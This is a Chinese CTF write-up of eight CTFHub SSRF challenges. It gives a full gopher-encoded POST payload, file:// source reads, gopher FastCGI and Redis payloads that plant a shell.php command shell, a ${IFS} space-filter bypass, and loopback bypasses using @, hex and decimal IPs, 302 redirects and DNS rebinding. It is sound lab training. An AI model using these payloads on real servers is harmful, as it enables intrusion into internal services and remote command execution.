CTFHub-SSRF

1.POST请求

 去访问flag.php,发现叫我们从127.0.0.1访问,

 于是构造?url=http://127.0.0.1/flag.php,发现一个key,再根据题目应该是要求我们使用post提交这个key

 这里使用gopher协议提交数据,这里采用了一个python脚本来构造gopher URL

 gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253De34643f08867c7a25557d4f788fe75b8%250D%250A

最终payload,放到?url后面得到flag

 本题多少还是有点小迷惑,比如他说要来自127.0.0.1,我尝试使用Modheader插件去更改host然后出现的东西让我有点迷

2.上传文件

 直接访问flag.php

 于是更改payload:http://challenge-a27bafd3b1610254.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php

这里其实还有个网址:用file协议可以直接查看到源码http://challenge-a27bafd3b1610254.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

 但是,发现一个问题,没有提交按钮(小问题,自己html加一个)

 <input type="submit" name="submit">

 先随便提交一个图片

 

说明还是要用gopher构造提交,这里用burp抓一下包:

把数据包里面的host改为127.0.0.1,然后复制此数据包,拿去python脚本跑一下编码

 在这里要注意一下,上传的文件最好不要是一句话木马文件,我尝试了很多次,发现如果是木马文件的话,防火墙会对数据包进行拦截,这个我有点不清楚怎么回事,所以我换了几次数据包,图片和txt都可以的

 最后贴到url上,拿到flag

 3.FastCGI协议

 利用gopher工具贴上想要执行的代码,转换成gopher语句,其中的ls /表示根目录下文件

 这里需要注意一下,这里的url语句需要再进行一次url编码(这里需要二次编码是因为GET获取参数会进行一次解码,curl也会进行一次解码)所以需要再进行一次编码。

看到有一个flag_cd5a720d5b3ac78b86be2534a833634文件,再次构造gopher语句,这里的flag文件在根目录下,所以cat的时候也要放到根目录下去打开

cat /flag_cd5a720d5b3ac78b86be2534a833634

 可以拿到flag

 4.REDIS

使用Gopherus生成所需攻击Redis的Paylaod:这里需要再进行一次url编码

 这里上传数据包后会显示504:

但实际上包已经成功发送,这里访问shell.php 输入cmd命令

 这里可以看到有一个flag文件,用cat打开,拿到flag

 这里还有一个小地方:如果url地址变成:10800/?url=127.0.0.1/shell.php?cmd=ls /

页面会显示错误,但是换成:10800/?url=127.0.0.1/shell.php?cmd=ls${IFS}/可以绕过空格

说明这个页面存在一个空格过滤的规则,后面的操作一样可以拿到flag。

而直接访问shell.php就不会有这个问题

 5.URL-BYpass

一些常见的绕过

Web安全之url跳转漏洞及bypass总结 - 卿先生 - 博客园

这里用的是@

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

 

 拿到flag(至于你问我为什么是这个文件。。。。eiduo)

 6.IP bypass

 正常访问:127.0.0.1/flag.php

很明显遭到了过滤

这里可以将127.0.0.1换一下形式,比如进制转换

0x7F000001

 2130706433

 还可以直接用0代替

 这样都是可以访问到127.0.0.1的

7.302跳转 Bypass

1.emmmm.这个题可以用上一题的方法绕过去

 2.使用短地址转换

?url=surl-2.cn/0nPI

 3.302跳转,在服务器上写一个脚本:<?php header("Location:http://127.0.0.1/flag.php")?>,然后构造url访问这个服务器上的脚本地址,出flag

8.DNS重绑定 Bypass

1.这题还是可以用绕过来做。。。。。

 2.使用dns rebind网站构造器:rbndr.us dns rebinding service

 

 一样可以拿到flag

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值